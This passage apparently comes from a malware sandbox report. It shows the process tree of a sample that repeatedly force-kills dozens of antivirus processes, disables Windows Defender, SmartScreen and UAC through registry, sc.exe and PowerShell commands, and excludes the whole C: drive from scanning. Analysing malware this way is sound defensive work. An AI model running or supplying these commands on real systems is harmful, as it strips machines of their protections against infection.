C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe10⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe10⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe10⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ahnlab.exe10⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f9⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend9⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled9⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"9⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"9⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""9⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe9⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe9⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe9⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ahnlab.exe9⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im arcabit.exe9⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im forticlient.exe9⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f9⤵
- Modifies registry key
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f9⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ipconfig /flushdns"9⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns10⤵
- Gathers network information
-
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f8⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f8⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend8⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled8⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"8⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""8⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe8⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe8⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ahnlab.exe8⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im arcabit.exe8⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im forticlient.exe8⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f8⤵
- Modifies registry key
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f8⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ipconfig /flushdns"8⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns9⤵
- Gathers network information
-
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f7⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend7⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled7⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"7⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ahnlab.exe7⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im arcabit.exe7⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im forticlient.exe7⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f7⤵
- Modifies registry key
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f7⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ipconfig /flushdns"7⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns8⤵
- Gathers network information
-
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f6⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f6⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend6⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled6⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe6⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe6⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe6⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe6⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe6⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ahnlab.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im arcabit.exe6⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im forticlient.exe6⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f6⤵
- Modifies registry key
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f6⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ipconfig /flushdns"6⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns7⤵
- Gathers network information
-
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f5⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend5⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"5⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"5⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ahnlab.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im arcabit.exe5⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im forticlient.exe5⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f5⤵
- Modifies registry key
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f5⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ipconfig /flushdns"5⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns6⤵
- Gathers network information
-
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im MsMpEng.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im SecurityHealthService.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avguard.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avgnt.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avcenter.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im avast.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ekrn.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im egui.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bdagent.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mcshield.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mctray.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mbam.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im norton.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im tmproxy.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im pavsrv.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im fsgk.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im savservice.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im gdata.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im vipre.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im webroot.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im zonealarm.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im bullguard.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im quickheal.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im rising.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im 360.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im adaware.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im immunet.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im ahnlab.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im arcabit.exe4⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im forticlient.exe4⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f4⤵
- Modifies registry key
-
-
C:\Windows\SYSTEM32\reg.exereg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ipconfig /flushdns"4⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns5⤵
- Gathers network information
-
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
